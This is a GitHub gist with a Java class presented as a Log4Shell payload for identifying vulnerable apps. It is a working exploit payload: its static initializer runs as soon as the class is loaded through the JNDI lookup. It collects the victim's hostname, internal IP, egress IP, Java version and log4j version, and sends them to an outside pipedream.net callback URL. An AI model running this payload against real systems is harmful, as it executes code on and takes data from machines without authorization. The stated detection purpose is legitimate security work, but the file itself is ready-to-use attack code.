Created
January 13, 2022 22:51
-
-
Save frohoff/205c924b3be3579086f175c74eb1bda2 to your computer and use it in GitHub Desktop.
Log4Shell Payload for identifying vulnerable apps
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import org.apache.logging.log4j.Logger; | |
import org.apache.logging.log4j.core.util.Constants; | |
import java.io.BufferedReader; | |
import java.io.InputStream; | |
import java.io.InputStreamReader; | |
import java.lang.reflect.Field; | |
import java.lang.reflect.Modifier; | |
import java.net.InetAddress; | |
import java.net.URL; | |
import java.util.Properties; | |
import java.util.UUID; | |
public class Log4ShellPayload { | |
static { | |
try { | |
String id = UUID.randomUUID().toString(); | |
String hostname = InetAddress.getLocalHost().getHostName(); | |
String ip = InetAddress.getLocalHost().getHostAddress().toString(); | |
String javaVersion = System.getProperty("java.version"); | |
Properties props = new Properties(); | |
try { | |
InputStream pom = Logger.class.getResourceAsStream("/META-INF/maven/org.apache.logging.log4j/log4j-core/pom.properties"); | |
props.load(pom); | |
} catch (Exception e) { | |
e.printStackTrace(); | |
} | |
String log4jVersion = props.getProperty("version", "unknown"); | |
System.out.println("log4shell on hostname " + hostname + " with id " + id); | |
String egress = "unknown"; | |
try { | |
egress = new BufferedReader(new InputStreamReader(new URL("https://checkip.amazonaws.com").openConnection().getInputStream())).readLine(); | |
} catch (Exception e) { | |
e.printStackTrace(); | |
} | |
try { | |
new URL("https://enpx2j74dig2m.x.pipedream.net" // replace this with your own | |
+ "?hostname=" + hostname | |
+ "&ip=" + ip | |
+ "&egress=" + egress | |
+ "&id=" + id | |
+ "&java=" + javaVersion | |
+ "&log4j=" + log4jVersion | |
).getContent(); | |
} catch (Exception e) { | |
e.printStackTrace(); | |
} | |
} catch (Exception e) { | |
e.printStackTrace(); | |
} | |
} | |
public static void main(String[] args) { | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment